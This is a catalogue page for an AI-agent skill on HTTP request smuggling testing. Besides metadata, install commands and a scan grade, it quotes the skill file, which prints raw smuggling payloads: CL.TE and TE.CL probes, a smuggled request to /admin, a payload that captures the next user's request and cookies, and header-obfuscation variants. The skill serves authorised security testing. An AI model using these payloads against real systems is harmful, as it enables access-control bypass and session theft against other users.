http-request-smuggling

http-request-smuggling is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 100 tokens per session (1,643 once invoked), scanned A, a copy of http-request-smuggling, MIT.

A security testing guide for HTTP request smuggling, where a proxy and a back-end server disagree about where one HTTP request ends.

In plain words
What is it for?
It is for testing applications behind reverse proxies, load balancers, or content delivery networks for conflicting request-length handling.
Why use it?
It helps find ways to bypass controls, poison caches, affect other users' requests, or take over sessions.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit It is for testing applications behind reverse proxies, load balancers, or content delivery networks for conflicting request-length handling.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/securitytalent/bugskill-ai/http-request-smuggling
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SecurityTalent/bugskill-ai --skill http-request-smuggling
Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for http-request-smuggling

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/http-request-smuggling/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/http-request-smuggling)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/http-request-smuggling"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/http-request-smuggling/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for http-request-smuggling

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/http-request-smuggling"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/http-request-smuggling.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 100 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,643 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00100 $0.01643
Opus 5.5 $0.00040 $0.00657
Sonnet 5.5 $0.00020 $0.00329
Haiku 4.5 $0.00010 $0.00164

Measured 20d ago against content hash 6cd6556b361b, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

http-request-smuggling scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

100% identical to http-request-smuggling — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/http-request-smuggling/SKILL.md · 148 lines

How it starts

The opening of the file, as written. The whole thing — 148 lines — stays where its author put it; the contents beside it link to each section on GitHub.

HTTP Request Smuggling

What Is Broken and Why

HTTP request smuggling arises from ambiguity in how HTTP/1.1 allows both Content-Length and Transfer-Encoding headers simultaneously. When a front-end proxy and back-end server disagree on which header takes precedence, an attacker can craft a request whose body is interpreted differently by each hop. The "leftover" bytes from one request are prepended to the next user's request, allowing attackers to poison the request pipeline, bypass security controls, hijack sessions, and perform reflected XSS without user interaction.

Key Signals

  • Application sits behind a reverse proxy, load balancer, or CDN
  • Delayed response to a crafted request with conflicting length headers (timing-based detection)
  • Different HTTP response when Transfer-Encoding: chunked and Content-Length headers are both present
  • 400 Bad Request or 500 from back-end on specific header combinations
  • Burp's HTTP Request Smuggler extension flagging the endpoint
  • Front-end rewrites or strips certain headers (evidence in X-Forwarded-* reflection)

Methodology

  1. Identify endpoints that pass through a proxy/CDN layer.
  2. Send a CL.TE detection probe: include both Content-Length and Transfer-Encoding: chunked with conflicting values; observe timing and response differences.
  3. Send a TE.CL detection probe: Transfer-Encoding terminates the body early, Content-Length extends it.
  4. Confirm vulnerability with a harmless poisoning request that prepends a known prefix to the next request.
  5. Escalate based on what prefix is prepended (bypass access controls, capture requests, perform SSRF, etc.).
  6. Use Burp's HTTP Request Smuggler extension to automate detection across all methods.

Payloads & Tools

# CL.TE probe (front-end uses Content-Length, back-end uses Transfer-Encoding)
# Send with Content-Length: 6 but chunked body terminator at byte 3
POST / HTTP/1.1
Host: TARGET
Content-Length: 6
Transfer-Encoding: chunked

3
abc
0


# TE.CL probe (front-end uses Transfer-Encoding, back-end uses Content-Length)
POST / HTTP/1.1
Host: TARGET
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# Access control bypass — smuggle request to restricted endpoint
POST / HTTP/1.1
Host: TARGET
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

# Capture next user's request (poison with open POST)
POST / HTTP/1.1
Host: TARGET
Content-Length: 198
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: TARGET
Content-Length: 400
Cookie: session=TOKEN

csrf=TOKEN2&postId=5&name=carlos&email=foo%40bar.com&comment=

# Burp Suite HTTP Request Smuggler extension
# Extensions -> HTTP Request Smuggler -> Smuggle Probe
# Run against target host to auto-detect CL.TE, TE.CL, TE.TE variants

# TE.TE obfuscation variants to bypass front-end normalization
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
 Transfer-Encoding: chunked
X: X\nTransfer-Encoding: chunked
Transfer-Encoding
 : chunked

Read the full file on GitHub · 148 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 20d ago First seen · 148 lines · 100 tokens per session scan A 6cd6556b361b

Subscribe to this mod's changes

http-request-smuggling is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 100 tokens to every session and 1,643 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 0 findings. It is 100% identical to http-request-smuggling, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

bun-api

Bun runtime API reference for TypeScript scripts. Covers Bun.serve() HTTP/HTTP/2 server with routes and WebSockets, fetch() transport options, proxies and Bun.FetchSession connection pools, Bun.ModuleGraph multi-instance apps, Bun.file(), Bun.write(), Bun.$() shell, Bun.spawn(), Bun.Glob, Bun.env, bun:sqlite…

dmythro/agent-skills · 265 tokens

hub-agent-setup

Connect a local or remote AI agent to Giskard Hub through an authenticated, non-streaming HTTPS endpoint. Use when a user asks to connect, integrate, or register their agent with the Hub. Build a minimal wrapper, deploy or tunnel it, and use the Hub connection test (SDK or MCP) to guide any fixes.

Giskard-AI/giskard-skills · 71 tokens

api-designer

Helps design REST APIs - routes, request/response structures, validation, status codes, and conventions. Use when designing new endpoints or reviewing an existing API's design for consistency.

codebygarv/Ai-skills · 40 tokens

auth-flow-reviewer

Deep review of authentication, authorization, session, and SSO flows specifically - token lifecycle, session fixation, logout behavior, and OAuth/SSO correctness. Use when reviewing or designing login, session, or SSO code specifically.

codebygarv/Ai-skills · 51 tokens

log-message-improver

Improves logging statements for observability - structured logging, appropriate log levels, and useful context. Use when logs are too sparse, too noisy, or missing the context needed to debug an incident from them alone.

codebygarv/Ai-skills · 48 tokens

cqrs-event-sourcing-designer

Designs Command Query Responsibility Segregation (CQRS) and Event Sourcing models with projection rebuilders.

codebygarv/Ai-skills · 30 tokens